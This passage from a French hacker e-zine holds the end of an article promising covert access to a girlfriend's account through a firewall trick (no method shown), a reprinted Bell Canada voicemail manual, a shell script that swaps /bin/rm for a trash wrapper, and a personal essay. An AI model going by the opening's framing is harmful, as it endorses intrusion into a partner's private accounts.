ching chong ! vous aurez acces au paycay de votre cherie.

Ban j'avoue ya un peu de reve la dedans car il faut que: 
1)le process soit lance 
2)qu'il soit autorise a acceder au net 
3)que  le  fw  soit  vraiment  pourri  car  je  crois que les recents savent detecter ce genre 
  d'attaque :(

Mais ca je le ferais ds un prochain article. Je suis dsl j'ai plus le tps pour le moment.

Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind.
EMail: ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by IvanLeFou  |
           			                  '--------------------'





      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                         test your mailbox                               :  .
                                                                                         |  |
                                                        				 |  .
                           <wyzeman> tu veux que je spam ton tool dans le next ezine ?   '  '
 			   <g463> non                                                    |  |
                           <g463> merci quand meme                                       |  |
                           <g463> ca te ferait plus de bien à toi qu'à moi anyway        |  |
                           <Wyzeman> jvois pas quesque ca me donnerais                   |  '
                           <g463> de quoi dinteressant a dire                               ;
                           <Wyzeman> hum, comme tu dis souvent : lol                     |  |
			   <g463> lol                                                    |  |
                           <g463> man                                                    |  |
                           <g463> cest pas le genre de personnes que je veux rejoindre   :  ;
                           <g463> tu piges :)                                            .  |                
                           <g463> de toute facon                                         |  |
                           <g463> ya pas un esti de chat sur #hack.fr                    '  |
			   <g463> qui sait c'est quoi un content filter                  |  |
                           <g463> lol                                                    |  '
                           <g463> ciao                                                   .  ,
                           <Wyzeman> t quand meme venu spamer ta shit sur #hack.fr       |  |
                                                                                         |  |
                           fak comme g463 voullait pas qu'on spam sont tool on à  	 :  .
                           évidament décidé de le faire, mais faite attention d'apres    |  |
                           g463 vous allez surement mourrir d'une bubule d'air au        ;  |
                           cerveau si vous y allez pi que vous etes pas assez inteligent |  |
                           pour le comprendre :                                             |
                                                                                         .  ;      
                     		                                                         |  |
                                                      http://guay-leroux.com            /   '
 	                                                                               /   / B
	  		                                         		      /   / U   
  	   		                                                             /   , P   
                                     et jajouterais. comme g463 dit souvent; lol.   /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I









     	    .-- -- ---- ----.
     	 ___|  MKD1001\014  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                   bell canada black handbook  
   
  	                                       AKA 
 
                               pu besoin dachaler la telephoniste au 0
				 



         _.-+.        ____   __ __  ____    ___   _____  ____     ___   ____  __  _ 
    _.-""     '.     |    \ |  T  T|    \  /   \ |     ||    \   /  _] /    T|  l/ ]
+:""            '.   |  o  )|  |  ||  D  )Y     Y|   __j|  D  ) /  [_ Y  o  ||  ' / 
| \               '. |   _/ |  ~  ||    / |  O  ||  l_  |    / Y    _]|     ||    \
|  \            _.-+ |  |   l___, ||    \ |     ||   _] |    \ |   [_ |  _  ||     Y
|  '.       _.-"   | |  |   |     !|  .  Yl     !|  T   |  .  Y|     T|  |  ||  .  |
J    \  _.-"       L l__j   l____/ l__j\_j \___/ l__j   l__j\_jl_2006_|__j__jl__j\_j
L     +"           J                                              Still Here and Now
 +    |            |  Www.Pyrofreak.Org                               
  \   |          .+   Www.Pyrofreak.Tk
   \  |       .-'                                                     
    \ |    .-'        
     \| .-'           
      +    


         			             (((
					    (o o)
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,ooO--(_)--Ooo--,,.-,.--,.-,.-,.,.,..,.-.-,.|     
        Irc:          #pyrofreak @ undernet
        Website:      Www.PyroFreak.Org + Www.PyroFreak.Tk
        |--,.-,.-,-.-,-,-.-,.-,.-,.,-.-,.,-.-,.-,.-,.-,.,.,.,-.,-.-,.-,-.-,.,.-.-,.|                                     




             ,----------------,              ,---------,
        ,-----------------------,          ,"        ,"|
      ,"                      ,"|        ,"        ,"  |
     +-----------------------+  |      ,"        ,"    |
     |  .-----------------.  |  |     +---------+      |
     |  |                 |  |  |     | -==----'|      |
     |  |  PyroFreaK      |  |  |     |         |      |
     |  |  Open Your eyes!|  |  |/----|`---=    |      |
     |  |                 |  |  |   ,/|==== ooo |      ;
     |  |                 |  |  |  // |(((( [33]|    ,"
     |  `-----------------'  |," .;'| |((((     |  ,"
     +-----------------------+  ;;  | |         |,"
        /_)______________(_/  //'   | +---------+
   ___________________________/___  `,
  /  oooooooooooooooo  .o.  oooo /,   \,"-----------
 / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
/_==__==========__==_ooo__ooo=_/'   /___________," 
                							

MANUEL VERSION TXT BELL SERVICE NUMER0 UNIQUE! 

Le service Numéro unique
FORFAIT A 

1-Initialisation de votre compte
2-Accès à votre compte
3-Gestion de vos messages d’accueil
4-Acheminement de vos appels au service Numéro unique
5-Réception d’appels avec le service Numéro unique 
6-Utilisation de la fonction Directeur d’appels 
7-Consultation de vos messages
8-Utilisation de la fonction Avis de réception de message
9-réception de message 
10-Établissement d’une communication  
11-Gestion de la fonction Listes de distribution 
12-Utilisation de la fonction Conférence à 4

 
___________________________________________________________________________________
1-Initialisation de votre compte 

Initialisation de votre service Numéro unique
La première fois que vous composez votre numéro service Numéro
unique, vous devez entrer votre mot de passe de boîte vocale
temporaire. Ensuite, suivez simplement les directives pour créer un
nouveau mot de passe de boîte vocale et enregistrer votre nom ainsi
que votre message d’accueil du service Numéro unique. Votre compte
est maintenant prêt à utiliser.
Notes
Le mot de passe de boîte vocale peut comporter de 6 à 15
chiffres. Pour des raisons de sécurité, il ne peut commencer par
« 0 » ni être constitué d’une série de chiffres répétitifs « 111111 »
ou d’une suite séquentielle « 123456 ».
Le nom que vous avez enregistré constituera le message d’accueil
du système.
Votre message d’accueil du service Numéro unique est celui
qu’entendront les demandeurs lorsque le service Numéro unique
est activé. 

Initialisation de votre service Numéro unique
à partir du site Web
Pour commencer à utiliser votre service Numéro unique, vous devez
initialiser votre compte à partir du site Web. Lors de la première
ouverture de session pour accéder à votre compte Web en utilisant
votre numéro service Numéro unique et votre mot de passe de site
Web, l’écran Modifier le mot de passe de site Web s’affichera. Une fois
que vous aurez initialisé votre compte en modifiant votre mot de passe
de site Web et en entrant la question de sécurité ainsi que la réponse,
la page d’accueil du service Numéro unique s’affichera à l’ouverture
d’une session.

Notes
Le mot de passe de site Web peut comporter de 8 à 16 caractères.
Les mots de passe Web doivent contenir au moins une lettre et au
moins un chiffre. Un exemple de mot de passe Web acceptable est:
trej8ygt. 

___________________________________________________________________________________
2-Accès à votre compte 

Accès à votre compte par téléphone
1. Composez votre numéro service Numéro unique.
2. Appuyez sur [#].
3. Entrez votre mot de passe de boîte vocale (pour l’ouverture de
session par téléphone).
4. Appuyez sur [#].
5. Vous entendrez les options du menu principal.
Accès à votre compte à partir du site Web
1. Allez sur le site numerounique.bell.ca.
2. À l’écran Ouverture de session, entrez votre numéro
service Numéro unique.
3. Entrez votre mot de passe de site Web (pour l’ouverture de
session Web seulement).
4. La page d’accueil du service Numéro unique s’affichera. 

Accès à votre compte à l’aide d’un appareil sans fil
Appareil portatif sans fil RIM (Blackberry)
1. Inscrivez-vous au service Go.Web : téléchargez le navigateur et
toute la documentation destinée à l’utilisateur sur le site Web
www.goamerica.net. (Site disponible en anglais seulement.)
2. Lorsque que vous avez accès au service Go.Web, vous
pouvez
diriger le navigateur Go.Web vers numerounique.bell.ca.,
ou régler MyGo.Web de façon à inclure numerounique.bell.ca.
3. Ouvrez une session à l’aide de votre numéro service Numéro
unique et de votre mot de passe de boîte vocale (pour l’ouverture
de session par téléphone).

Notes
Votre mot de passe de boîte vocale téléphonique sert à ouvrir une
session à l’aide d’un appareil sans fil et par téléphone.
Votre mot de passe de site Web sert à ouvrir une session Web. 

___________________________________________________________________________________
3-Gestion de vos messages d’accueil 

Enregistrement de vos messages
d’accueil par téléphone
Vous pouvez enregistrer jusqu’à deux messages d’accueil personnels
pour la messagerie vocale (Premier message personnel et Deuxième
message personnel), un message d’absence prolongée et, si vous
disposez de la fonction Directeur d’appels, les messages d’accueil
primaires et secondaires de la fonction Directeur d’appels.
1. Composez votre numéro service Numéro unique et
identifiez-vous.
2. Appuyez sur [4] pour accéder à vos options personnelles.
3. Appuyez sur [3] pour gérer vos messages d’accueil.
4. Vous pouvez choisir parmi les options suivantes du menu :
Appuyez sur [1] pour créer vos messages d’accueil personnels.
Appuyez sur [2] pour gérer votre message d’absence prolongée.
Appuyez sur [3] pour gérer votre message d’accueil
du système (nom).
Appuyez sur [4] pour gérer les messages d’accueil
de la fonction Directeur d’appels.
Appuyez sur [5] pour gérer votre message d’accueil du service
Numéro unique. 

Révision de vos messages d’accueil à partir du site Web
Vous pouvez écouter et sélectionner vos messages d’accueil sur le site
Web une fois que vous les avez enregistrés par téléphone.
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Options dans la section des paramètres.
4. La page Options s’affichera, ce qui vous permettra d’écouter tous
les messages d’accueil que vous avez enregistrés, ainsi que de les
activer ou de les désactiver. 

___________________________________________________________________________________
4-Acheminement de vos appels au service Numéro unique 

Le service Numéro unique vous permet de renvoyer automatiquement
les appels entrants à votre numéro service Numéro unique à n’importe
quel numéro de téléphone ou série de numéros de téléphone de votre
choix! Votre compte a été ouvert de façon à ce que tous les appels
soient renvoyés à un seul numéro. Suivez les étapes ci-après pour
renvoyer les appels en fonction d’un horaire.
Établissement de I’horaire du service Numéro unique
à partir du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Numéros de téléphone dans la barre de navigation.
4. Entrez jusqu’à six numéros de téléphone pour le renvoi d’appel.
5. Cliquez sur OK.
6. Cliquez sur Horaires dans la barre de navigation.
7. Créez un horaire en entrant le nom, les jours, les heures et l’ordre
de composition pour lesquels vos appels doivent être renvoyés
8. Cochez la case Activé pour activer votre horaire
service Numéro unique.
9. Cliquez sur OK.
10. Pour sélectionner le message d’accueil qu’entendra votre
demandeur lorsque le service Numéro unique est activé, cliquez
sur Options dans la barre de navigation. Choisissez ensuite soit le
message d’accueil du service Numéro unique, soit le message
d’accueil à quatre sonneries dans la section Comment sera établie
la communication avec votre demandeur.
11. Le message d’accueil que vous avez sélectionné sera entendu par
les demandeurs lorsque le service Numéro unique est activé. 

Personnalisation de votre service Numéro unique à partir
du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Options dans la barre de navigation.
4. La page Options vous permettra de gérer les éléments suivants :
messages d’accueil, expérience du demandeur, code d’accès privé
et renvoi d’appel à multiples numéros.
5. Personnalisez votre service Numéro unique en choisissant vos
options et cliquez sur OK.

Activation et désactivation du service Numéro unique vers
un seul numéro à partir du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Réglage.
4. Sélectionnez : Renvoyer tous les appels à un numéro unique, puis
entrez un numéro de téléphone.
5. Tous les appels entrants à votre numéro service Numéro unique
seront renvoyés à un seul numéro.
Gestion de votre service Numéro unique par téléphone
1. Composez votre numéro service Numéro unique
et identifiez-vous.
2. Appuyez sur [4] pour accéder à vos options personnelles.
3. Appuyez sur [2] pour gérer le service Numéro unique.
4. Vous pouvez choisir parmi les options suivantes du menu :
Appuyez sur [1] pour renvoyer les appels en fonction d’un
horaire.
Appuyez sur [2] pour renvoyer les appels à un numéro unique.
Appuyez sur [3] pour désactiver le service Numéro unique.


___________________________________________________________________________________
5-Réception d’appels avec le service Numéro unique

Réception d’un appel
Le service Numéro unique offre différentes options de traitement
des appels d’arrivée. La fonction de filtrage des appels présente
l’information relative au demandeur avant que vous n’acceptiez l’appel,
soit son numéro de téléphone. Vous pouvez ensuite choisir l’une des
options suivantes :
1. Pour accepter l’appel, appuyez sur [1].
2. Pour refuser l’appel, appuyez sur [2].
3. Pour acheminer l’appel à la messagerie vocale, appuyez sur [3].
4. Select Forward calls to a single number and enter
Si le filtrage des appels est activé, vous pouvez choisir d’entrer votre
mot de passe d’accès à la messagerie vocale avant d’accepter l’appel.
Si vous ne choisissez pas cette option, il vous suffit d’appuyer sur le
[1] pour accepter l’appel. Si le filtrage des appels n’est pas activé, la
communication est immédiatement établie entre le demandeur et vous.
Cette option n’est applicable que si vous disposez de la Fonction
Messagerie vocale du service Numéro unique.

Note :
Si vous appuyez sur [2], le système composera le numéro
subséquent, tel que défini dans votre horaire. Si nous sommes dans
l’impossibilité de vous joindre, qu’il n’y a plus de numéro
à composer ou que vous avez un renvoi d’appel à multiples
numéros réglé à envoi collectif, nous acheminerons l’appel à la
messagerie vocale.


___________________________________________________________________________________
6-Utilisation de la fonction Directeur d’appels  

La fonction Directeur d’appels est optionnelle. Elle fournit un service
automatisé de réceptionniste et d’acheminement des appels, en plus de
votre service Numéro unique. Cette fonction permet d’acheminer les
appels, en fonction des données du demandeur, à votre horaire service
Numéro unique, à un autre système de messagerie vocale ou à votre
messagerie vocale du service Numéro unique, au besoin.
Réglage de votre fonction Directeur d’appels à
partir du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Directeur d’appels dans la barre de navigation.
4. Vous pouvez entrer un répertoire d’au plus neuf personnes ou
services dans le champ Désignation.
5. Sélectionnez dans le menu déroulant l’Acheminement de l’appel
que vous voulez utiliser.
6. Entrez le numéro de téléphone où vous voulez transférer l’appel,
s’il y a lieu.
7. Cochez la case Activer Directeur d’appels pour activer votre
répertoire.
8. Cliquez sur OK. 

Note :
Votre message d’accueil pour la fonction Directeur d’appels
doit correspondre précisément à l’action des touches et à
l’acheminement de l’appel que vous avez programmés.
Messages d’accueil de la fonction Directeur d’appels
Deux messages d’accueil peuvent être enregistrés : un message
primaire et un message secondaire. Si les deux messages d’accueil
sontenregistrés, le demandeur entend tout d’abord le message primaire
et a ensuite l’option d’appuyer sur [*] pour entendre le message
secondaire. Le message secondaire peut fournir au demandeur des
directives dans une autre langue ou encore, fournir des renseignements
plus détaillés. 

Sélection de votre intervention par défaut suite à
l’écoute des messages d’accueil à partir du site Web
Une fois que les messages d’accueil ont été entendus, vous pouvez
indiquer l’action que le système doit effectuer.
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Directeur d’appels dans la barre de navigation.
4. Dans la section Par défaut, sélectionnez l’une des options
suivantes :
Répéter le message d’accuei
Renvoyer au numéro
Suivre les horaires
Acheminer à la messagerie vocale
5. L’option que vous sélectionnez est l’action qui sera effectuée si le
demandeur n’appuie sur aucune touche après avoir entendu le
message d’accueil de la fonction Directeur d’appels. 


___________________________________________________________________________________
7-Consultation de vos messages 

Consultation de vos messages par téléphone
1. Composez votre numéro service Numéro unique et
identifiez-vous.
2. Appuyez sur [1] [1] pour écouter vos nouveaux messages.
3. Appuyez sur [1] pour passer en revue tous les messages.
4. Les messages seront entendus selon leur ordre de réception, en
commençant par le dernier message reçu.
5. Les messages codés « Urgent » seront entendus avant tous les
nouveaux messages.
Consultation de vos messages à partir du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Vos messages seront affichés sur la page d’accueil du Centre de
messages selon leur ordre de réception, en commençant par le
dernier message reçu.
4. Les messages codés « Urgent » ou « Privé » seront indiqués par
le symbole demandeur à côté du Type de message.
Consultation de vos messages à l’aide d’un
appareil sans fil
1. Accédez à votre compte service Numéro unique.
2. Appuyez sur [4] pour accéder au Centre de messages.
3. Appuyez sur [1] pour accéder à votre boîte de réception.
4. Vos messages seront présentés selon leur ordre de réception, en
commençant par le dernier message reçu. 


___________________________________________________________________________________
8-Utilisation de la fonction Avis de réception de message

Lorsqu’un nouveau message est reçu dans votre compte, vous pouvez
en être averti par un appel téléphonique, par téléavertissement, par
courriel ou par un bref message texte sur votre cellulaire. Vous pouvez
aussi recevoir un message instantané par un logiciel de messagerie
instantanée (ICQ, AIM, MSN ou Yahoo).
Réglage de la fonction Avis de réception de message
à partir du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Cliquez sur Ajustement du dispositif servant aux avis.
4. Indiquez les renseignements concernant la messagerie instantanée,
le cellulaire ou le téléavertisseur.
5. Cliquez sur OK.
6. Cliquez sur Ajustement des avis dans la barre de navigation.
7. Cochez la case Activer Avis de réception de message.
8. Sélectionnez votre méthode privilégiée d’avis de réception de
message ainsi que les types de messages pour lesquels vous voulez
être avisé.
9. Cliquez sur OK. 


___________________________________________________________________________________
9-Envoi de messages 

Si votre abonnement comprend la fonction Messagerie vocale du
service Numéro unique, vous pouvez envoyer une copie d’un message
vocal ou d’une télécopie que vous avez reçue à un autre numéro.
Si vous ne disposez pas de la fonction Messagerie vocale du service
Numéro unique, vous ne pouvez recevoir et transférer que des
télécopies à n’importe quel autre numéro de télécopieur.
Transfert d’une télécopie à partir du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Cliquez sur la désignation de la télécopie que vous désirez ouvrir.
4. Cliquez sur le bouton Transférer le message.
5. La page Transférer le message s’affichera.
6. Entrez un numéro de télécopieur dans le champ Télécopie.
7. Cliquez sur Envoyer.
Transfert d’une télécopie par téléphone
1. Composez votre numéro service Numéro unique et identifiez-vous.
2. Appuyez sur [1] pour passer en revue vos messages.
3. Après la lecture de la télécopie que vous voulez transférer, appuyez
sur [6].
4. Entrez un numéro de télécopieur et appuyez ensuite sur [#].
5. Appuyez sur [1] pour envoyer la télécopie. 

Transfert d’une copie d’un message vocal
à partir du site Web
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur Centre de messages dans la barre de navigation.
3. Cliquez sur la désignation du message vocal que vous
désirez ouvrir.
4. Appuyez sur la commande de lecture pour écouter le
message vocal.
5. Cliquez sur le bouton Transférer le message.
6. La page Transférer le message s’affichera.
7. Entrez un numéro de téléphone dans le champ
service Numéro unique.
8. Cliquez sur Envoyer.
Transfert d’une copie d’un message vocal par téléphone
1. Composez votre numéro service Numéro unique et identifiez-vous.
2. Appuyez sur [1] pour passer en revue vos messages.
3. Après l’écoute du message vocal que vous voulez transférer,
appuyez sur [6].
4. Appuyez sur [#].
5. Appuyez sur [5] pour sélectionner les destinataires.
6. Entrez le numéro de téléphone ou le code d’identification à
deux chiffres de la liste de distribution, et appuyez ensuite
sur la touche [#].
7. Appuyez sur [2] pour confirmer les destinataires.
8. Appuyez sur [#] pour envoyer. 


___________________________________________________________________________________
10-Établissement d’une communication  

Établissement d’une communication à l’aide d’un
numéro de téléphone
Pour plus de commodité, vous pouvez mettre en mémoire jusqu’à neuf
numéros utilisés fréquemment pour la Composition abrégée.
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Composition abrégée dans la section Fonctions.
4. La page d’ajustement de la Composition abrégée s’affichera.
5. Entrez une désignation et un numéro de téléphone pour chaque
Composition abrégée. Vous pouvez créer jusqu’à neuf numéros de
téléphone à Composition abrégée.
Établissement d’une communication à l’aide de la
fonction Composition abrégée
1. Composez votre numéro service Numéro unique et identifiez-vous.
2. Appuyez sur [*] [*] pour accéder à votre liste de Composition abrégée,
suivi des numéros de Composition abrégée.
Ou,
3. Appuyez sur [3] pour établir une communication.
4. Appuyez sur [2] pour composer à l’aide des numéros de Composition
abrégée. 


___________________________________________________________________________________
11-Gestion de la fonction Listes de distribution 

La fonction Listes de distribution n’est disponible que si vous disposez
de la fonction Messagerie vocale du service Numéro unique.
Gestion de la fonction Listes de distribution à
partir du site Web
Création d’une liste :
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Listes de distribution dans la barre de navigation.
4. Cliquez sur le bouton Créer une liste.
5. Créez un code d’identification à deux chiffres pour
pouvoir accéder à vos listes par téléphone.
6. Entrez le numéro de téléphone de la personne à contacter et
cliquez sur Ajouter pour accepter ce numéro.
7. Cliquez sur OK.
Modification d’une liste :
1. Accédez à votre compte service Numéro unique.
2. Cliquez sur service Numéro unique dans la barre de navigation.
3. Cliquez sur Listes de distribution dans la barre de navigation.
4. Vous pouvez gérer une liste (incluant l’ajout ou la suppression
de numéros) en sélectionnant le code d’identification de la liste
figurant sur cette page. 

Gestion de la fonction Listes de distribution
par téléphone
1. Composez votre numéro service Numéro unique
et identifiez-vous.
2. Appuyez sur [4] pour accéder à vos options personnelles.
3. Appuyez sur [1] pour accéder à la fonction Listes de distribution.
4. Vous pouvez choisir parmi les options suivantes du menu.
Appuyez sur [1] pour créer une liste.
Appuyez sur [2] pour supprimer une liste.
Appuyez sur [3] pour gérer une liste.
Appuyez sur [4] pour passer en revue une liste. 


___________________________________________________________________________________
12-Utilisation de la fonction Conférence à 4 

La fonction Conférence à 4 vous permet d’établir des conférences
avec des participants se trouvant à de multiples endroits. Vous pouvez
ajouter jusqu’à trois participants, en plus de vous-même, à votre
conférence. Vous pouvez démarrer la conférence en établissant la
communication, soit en composant un numéro de téléphone, soit en
utilisant un numéro de Composition abrégée.
Établissement d’une conférence à 4 par téléphone
1. Composez votre numéro service Numéro unique et
identifiez-vous.
2. Appuyez sur [3] pour établir une communication.
3. Appuyez sur [1] pour composer un numéro de téléphone ou
appuyez sur [2] pour entrer un numéro de Composition abrégée.
4. Lorsque votre communication est établie, expliquez au participant
qu’il sera temporairement mis en attente et appuyez sur [*] [*].
5. Appuyez sur [4] pour établir une autre communication.
6. Composez un numéro de téléphone et appuyez ensuite sur [#].
7. Lorsque votre communication est établie, appuyez sur [*] [*]
et ensuite sur [5] pour que le deuxième participant se joigne
à la conférence. Votre conférence comporte maintenant trois
participants, incluant vous-même.
8. Un autre participant peut se joindre à la conférence. Pour ce faire,
mettre la conférence en attente en appuyant sur [*] [*]. Établir une
autre communication en appuyant sur [4] et joindre le participant à
la conférence en appuyant sur [5]. 

Déconnection par téléphone d’un participant à la conférence
1. Appuyez sur [*] [*], puis sur [1] pour déconnecter un participant de
la conférence.
2. Appuyez sur [0] pour revenir à la téléconférence.

Note :
Lorsque vous mettez la conférence en attente en appuyant
sur [*] [*], les autres participants peuvent continuer à discuter
entre eux.
Fin de la conférence par téléphone
1. Appuyez sur [*] [*] pour mettre la conférence en attente.
2. Appuyez sur [2] pour mettre fin à la conférence. Tous les
participants sont déconnectés et la conférence est terminée. 




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by fireblood  |
           			                  '--------------------'






        ____         ,-------------------------------------------------
       /    \        | Petit code qui permet de créer un dossier nommer 
      |  _   |       | .Trash dans le repertoire courant et y insert 
      | / \  |       | les fichier supprimer 
      ||   | |      /   
      (.) (.)|     /   Tout dabord vous devez renommer /bin/rm pour  
      ||   | |    <__  /bin/remove donc tapper ceci en ssh : 
      ||   | | |     |  
      ||   | | |     | mv /bin/rm /bin/remove 
      |____/|| |     |  
      |\___/ | |     | ensuite inserer ceci dans /bin/rm 
      ||   | | |     |  
      ||   | | |     | #Le Code: 
      ||   | | |     |  
      ||     | |       if ! echo $PWD |grep .Trash >/dev/null 
      | \___/  |       then 
      |        |       if [ ! -e $PWD/.Trash ]
       \______/        then  
                       mkdir $PWD/.Trash
                       fi
                       chk=`echo $@ | sed "s/-rf//g"`
                       for i in $chk ; do
                       mv "$i" $PWD/.Trash/ &>/dev/null
                       done
                       fi
                       if echo $PWD |grep .Trash >/dev/null
                       then
                       remove $@
                       fi

                       #Fin du code

                       et donner lui les drois déxecution : 
                       chmod 700 /bin/rm


                       Lindividu







     	    .-- -- ---- ----.
     	 ___|  MKD1001\015  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                   Promenades, ( Pseudo texte ) 
   
  	                                       AKA

                  à quand les plaisirs de la marche ? (maintenant c4, maintenant)
                                      




Je promène dans la vie a l'école, dans les rues... je reconnais toute la  platitude  de  cette
vie. Tout ce que je peux faire c'est me répeter toujours les mêmes choses. Les mêmes questions. 
Béantes, et tellement inutiles selon moi.

Me  répeter  que   je me répète les mêmes phrases est une habitude chez moi, jusqu'a en devenir 
complêtement fous. M'étouffer de respirer le même air. Je   suis  là.  il    parait  que  c'est
différent. On est le 27 novembre 2005.

Mais non je dois créer moi même "mon avenir", me trouver un but. Toujours le même but. Mon but, 
"il faut avoir un but dans la vie, sinon je ne vaut rien". Même si je suis vouer a  mourir, ce
qui fait instantanément tomber mon illusion d'un but qui n'existe pas.

Je bute contre la mort. Depuis que je suis la... je me pose la même question stupide...  qu'est 
ce qui vas me donner l'illusion d'un changement aujourd'hui? Qui ? Qui vas enfin me prouver que
j'avais tort? Qui enfin vas me prouver que la vie a le moindre sens ?!    Plutôt  que  de  m'en 
inventer un qui n'existe pas... "l'amour existe !" 

Le  seul   amour que j'ai vu de toute ma vie, n'existe qu'a la télévision, et la plupart de ces
films, ne sont  la  que pour faire de l'argent... J'ai essayer de me prouver plusieurs fois que 
l'amour existe sans  jamais tomber sur une quelconque logique, tout m'a toujours ramené vers le
sexe.

J'ai   toujours  penser  que l'être humain devait évoluer en harmonie avec la nature. Encore un 
rêves irréalisable...

Il est trop  tôt  pour  juger  la  mort...  Pseudo  contrôle de sa vie..  Pseudo texte.. Autant
directement me dire que je me promène dans le vide.




http://novision.serveurperso.com/ 


 


             
     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by c3r3br4l   |
           			                  '--------------------' 						     






---------------------------------- - - -- ---------------------------------------------------
conclusion consionclu clusiocon conslucion conslcion conculsion conliscion   AKA      THE END
----------
 ----------------------------------------------------------------------------------

	jespere que encore une fois cette dose de savoir inestimer et de delire tordus vous
aurons plus, nous vous laissons donc sur cette penser sur laquel nous aimerions vous faire
mediter :

						le savoir des uns fait le malheur des autres




dite moi pas qui va narrap, narrapu!